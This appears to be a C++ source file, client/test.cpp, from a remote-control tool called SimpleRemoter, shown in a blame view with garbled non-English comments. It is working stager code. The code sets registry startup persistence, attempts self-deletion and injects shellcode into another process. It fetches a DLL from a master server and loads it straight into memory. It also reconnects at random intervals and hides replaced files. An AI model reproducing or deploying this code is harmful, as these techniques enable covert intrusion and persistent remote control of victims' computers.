Files
SimpleRemoter/client/test.cpp

382 lines
10 KiB
C++
Raw Normal View History

2025-04-21 02:39:00 +08:00
#include "StdAfx.h"
2025-04-21 02:39:00 +08:00
#include "MemoryModule.h"
2025-04-24 03:01:40 +08:00
#include "ShellcodeInj.h"
2025-04-21 02:39:00 +08:00
#include <WS2tcpip.h>
#include <common/commands.h>
#include "common/dllRunner.h"
#include <common/iniFile.h>
#include "auto_start.h"
extern "C" {
#include "reg_startup.h"
}
2025-04-21 02:39:00 +08:00
#pragma comment(lib, "ws2_32.lib")
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "ClientDemo"
typedef void (*StopRun)();
typedef bool (*IsStoped)();
typedef BOOL (*IsExit)();
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopRun stop = NULL;
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
IsStoped bStop = NULL;
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
IsExit bExit = NULL;
BOOL status = 0;
HANDLE hEvent = NULL;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
BOOL CALLBACK callback(DWORD CtrlType)
{
if (CtrlType == CTRL_CLOSE_EVENT)
{
status = 1;
if (hEvent) SetEvent(hEvent);
if(stop) stop();
while(1==status)
Sleep(20);
}
return TRUE;
}
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
BOOL Run(const char* argv1, int argv2);
2025-04-21 02:39:00 +08:00
// Package header.
typedef struct PkgHeader {
char flag[8];
int totalLen;
int originLen;
PkgHeader(int size) {
memset(flag, 0, sizeof(flag));
memcpy(flag, "Hello?", 6);
2025-04-21 02:39:00 +08:00
originLen = size;
totalLen = sizeof(PkgHeader) + size;
}
}PkgHeader;
// Memory DLL runner.
class MemoryDllRunner : public DllRunner {
2025-04-24 03:01:40 +08:00
protected:
2025-04-21 02:39:00 +08:00
HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName)
{
// 1. <20>ж<EFBFBD><D0B6>Dz<EFBFBD><C7B2>ǺϷ<C7BA><CFB7><EFBFBD> IPv4 <20><>ַ
sockaddr_in sa;
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
// <20>ǺϷ<C7BA> IPv4 <20><>ַ<EFBFBD><D6B7>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
return std::string(hostName);
}
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
addrinfo hints = {}, * res = nullptr;
hints.ai_family = AF_INET; // ֻ֧<D6BB><D6A7> IPv4
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (getaddrinfo(hostName, nullptr, &hints, &res) != 0)
return "";
char ipStr[INET_ADDRSTRLEN] = {};
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
freeaddrinfo(res);
return std::string(ipStr);
}
public:
MemoryDllRunner() : m_mod(nullptr){}
2025-04-24 03:01:40 +08:00
virtual const char* ReceiveDll(int &size) {
2025-04-21 02:39:00 +08:00
WSADATA wsaData = {};
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
return nullptr;
const int bufSize = 4 * 1024 * 1024;
char* buffer = new char[bufSize];
bool isFirstConnect = true;
2025-04-24 03:01:40 +08:00
do {
2025-04-21 02:39:00 +08:00
if (!isFirstConnect)
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
2025-04-21 02:39:00 +08:00
isFirstConnect = false;
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (clientSocket == INVALID_SOCKET) {
continue;
}
DWORD timeout = 30000;
2025-04-21 02:39:00 +08:00
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
sockaddr_in serverAddr = {};
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
std::string ip = GetIPAddress(g_ConnectAddress.ServerIP());
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
2025-04-21 02:39:00 +08:00
continue;
}
#ifdef _DEBUG
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
#else
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
#endif
char req[sizeof(PkgHeader) + 4] = {};
memcpy(req, &PkgHeader(4), sizeof(PkgHeader));
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
continue;
}
2025-04-24 03:01:40 +08:00
char* ptr = buffer + sizeof(PkgHeader);
2025-04-21 02:39:00 +08:00
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
while (totalReceived < bufSize) {
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
if (bytesReceived <= 0) break;
totalReceived += bytesReceived;
}
if (totalReceived < sizeof(PkgHeader) + 6) {
closesocket(clientSocket);
continue;
}
BYTE cmd = ptr[0], type = ptr[1];
2025-04-24 03:01:40 +08:00
size = 0;
2025-04-21 02:39:00 +08:00
memcpy(&size, ptr + 2, sizeof(int));
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
continue;
}
closesocket(clientSocket);
} while (false);
WSACleanup();
2025-04-24 03:01:40 +08:00
return buffer;
}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path, int len = 0) {
2025-04-24 03:01:40 +08:00
int size = 0;
auto buffer = ReceiveDll(size);
if (nullptr == buffer || size == 0){
SAFE_DELETE_ARRAY(buffer);
2025-04-24 03:01:40 +08:00
return nullptr;
}
int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1);
if (-1 != pos) {
CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos);
BYTE type = buffer[sizeof(PkgHeader) + 1];
addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE;
memset(addr->szFlag, 0, sizeof(addr->szFlag));
strcpy(addr->szServerIP, g_ConnectAddress.ServerIP());
sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort());
}
2025-04-24 03:01:40 +08:00
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
2025-04-21 02:39:00 +08:00
return m_mod;
}
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
::MemoryFreeLibrary((HMEMORYMODULE)mod);
return TRUE;
}
};
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
// [settings]
// localIp=XXX
// ghost=6688
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
int main(int argc, const char *argv[])
{
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Client Demo", "ClientDemo");
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
}
BOOL ok = SetSelfStart(argv[0], REG_NAME);
if(!ok)
{
2025-04-27 01:16:16 +08:00
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
}
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
2025-04-24 03:01:40 +08:00
iniFile cfg(CLIENT_PATH);
auto now = time(0);
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
}
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD><EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
if (g_ConnectAddress.iStartup == Startup_InjSC)
{
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj;
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess(nullptr, ok))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
CloseHandle(hEvent);
}
CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
if (status == 1)
return -1;
} while (pid);
}
if (g_ConnectAddress.iStartup == Startup_InjSC) {
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
do {
2024-12-29 01:09:06 +08:00
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
if (ret == 1) {
return -1;
}
} while (status == 0);
status = 0;
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.
BOOL Run(const char* argv1, int argv2) {
BOOL result = FALSE;
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
ok = FALSE;
}else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover
}else if (ok){
Mprintf("Using new file: %s\n", newFile.c_str());
}
}
DllRunner* runner = nullptr;
switch (g_ConnectAddress.iStartup)
{
case Startup_DLL:
runner = new DefaultDllRunner;
break;
case Startup_MEMDLL:
runner = new MemoryDllRunner;
break;
default:
ExitProcess(-1);
break;
}
2025-04-21 02:39:00 +08:00
void* hDll = runner->LoadLibraryA(path);
typedef void (*TestRun)(char* strHost, int nPort);
2025-04-21 02:39:00 +08:00
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
if (NULL == run) {
2025-04-21 02:39:00 +08:00
if (hDll) runner->FreeLibrary(hDll);
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Sleep(3000);
2025-04-21 02:39:00 +08:00
delete runner;
return FALSE;
}
do
{
2024-12-29 01:09:06 +08:00
char ip[_MAX_PATH];
strcpy_s(ip, g_ConnectAddress.ServerIP());
int port = g_ConnectAddress.ServerPort();
strcpy(p + 1, "settings.ini");
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
strcpy(ip, argv1);
port = argv2;
}
else {
config cfg;
strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str());
port = cfg.Get1Int("settings", "ghost", ';', 6543);
}
Mprintf("[server] %s:%d\n", ip, port);
do
{
run(ip, port);
while (bStop && !bStop() && 0 == status)
Sleep(20);
} while (bExit && !bExit() && 0 == status);
while (bStop && !bStop() && 1 == status)
Sleep(20);
if (bExit) {
result = bExit();
}
} while (result == 2);
2025-04-21 02:39:00 +08:00
if (!runner->FreeLibrary(hDll)) {
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
}
else {
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
}
2025-04-21 02:39:00 +08:00
delete runner;
return result;
}